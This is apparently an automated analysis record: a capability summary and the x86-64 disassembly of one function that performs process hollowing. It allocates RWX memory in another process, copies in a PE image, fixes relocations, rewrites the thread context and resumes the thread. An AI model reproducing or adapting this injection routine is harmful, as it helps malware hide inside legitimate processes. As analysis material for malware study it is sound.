Function at 0x1400028a8
Capabilities:
Allocate or change rwx memory
Enumerate pe sections
Resume thread

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x508
movsxd rdi, dword [rdx + 0x3c]
mov r14, rdx
add rdi, rdx
mov dword [rsp + 0x20], 0x40
mov rsi, rcx
mov qword [rsp + 0x568], rdi
mov rcx, qword [rcx]
xor edx, edx
mov r9d, 0x3000
mov r8d, dword [rdi + 0x50]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
xor ebx, ebx
mov r15, rax
test rax, rax
je 0x140002b36
mov r9d, dword [rdi + 0x54]
mov rcx, rax
sub rcx, qword [rdi + 0x30]
mov r8, r14
mov qword [rsp + 0x550], rcx
mov rdx, rax
mov qword [rdi + 0x30], rax
mov rcx, qword [rsi]
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140002b36
mov rcx, r14
call fcn.140002088
xor r11d, r11d
mov qword [rsp + 0x560], rax
mov rbx, rax
mov r12d, r11d
mov r13d, r11d
cmp r11w, word [rdi + 6]
jae 0x140002b36
mov ebp, r11d
movzx edx, word [rdi + 0x14]
add rdx, 0x18
add rdx, rbp
add rdx, rdi
mov r10d, dword [rdx + 0xc]
cmp ebx, r10d
jb 0x14000297c
mov ecx, dword [rdx + 8]
add ecx, r10d
cmp ebx, ecx
cmovb r12, rdx
mov r8d, dword [rdx + 0x14]
mov r9d, dword [rdx + 0x10]
add r8, r14
mov rcx, qword [rsi]
lea rdx, [r15 + r10]
mov qword [rsp + 0x20], r11
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
xor r11d, r11d
test eax, eax
je 0x140002b36
movzx eax, word [rdi + 6]
inc r13d
add rbp, 0x28
cmp r13d, eax
jl 0x140002959
test r12, r12
je 0x140002b36
mov ebp, r11d
cmp dword [rsp + 0x564], r11d
jbe 0x140002aae
mov rdi, qword [rsp + 0x550]
mov r13d, dword [r12 + 0x14]
mov eax, ebp
add ebp, 8
add rax, r14
add r13, rax
mov eax, dword [r13 + 4]
sub rax, 8
shr rax, 1
test eax, eax
je 0x140002a99
mov edx, eax
mov qword [rsp + 0x558], rdx
mov ecx, dword [r12 + 0x14]
mov eax, ebp
add ebp, 2
add rax, r14
movzx eax, word [rcx + rax]
mov ecx, 0x1000
cmp ax, cx
jb 0x140002a87
mov ebx, dword [r13]
lea r8, [rsp + 0x550]
mov rcx, qword [rsi]
and eax, 0xfff
add rax, r15
mov qword [rsp + 0x550], r11
add rbx, rax
mov qword [rsp + 0x20], r11
mov rdx, rbx
mov r9d, 8
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov rcx, qword [rsi]
lea r8, [rsp + 0x550]
add qword [rsp + 0x550], rdi
mov r9d, 8
and qword [rsp + 0x20], 0
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rdx, qword [rsp + 0x558]
xor r11d, r11d
sub rdx, 1
mov qword [rsp + 0x558], rdx
jne 0x140002a03
cmp ebp, dword [rsp + 0x564]
jb 0x1400029d6
mov rdi, qword [rsp + 0x568]
xor edx, edx
lea rcx, [rsp + 0x30]
mov r8d, 0x4d0
call fcn.14000378c
mov rcx, qword [rsi + 8]
lea rdx, [rsp + 0x30]
mov dword [rsp + 0x60], 0x10000b
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x140002b36
mov rdx, qword [rsp + 0xb8]
lea r8, [rdi + 0x30]
mov rcx, qword [rsi]
add rdx, 0x10
and qword [rsp + 0x20], 0
mov r9d, 8
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140002b36
mov ecx, dword [rdi + 0x28]
lea rdx, [rsp + 0x30]
add rcx, r15
mov qword [rsp + 0xb0], rcx
mov rcx, qword [rsi + 8]
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
je 0x140002b36
mov rcx, qword [rsi + 8]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov eax, 1
jmp 0x140002b38
xor eax, eax
add rsp, 0x508
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret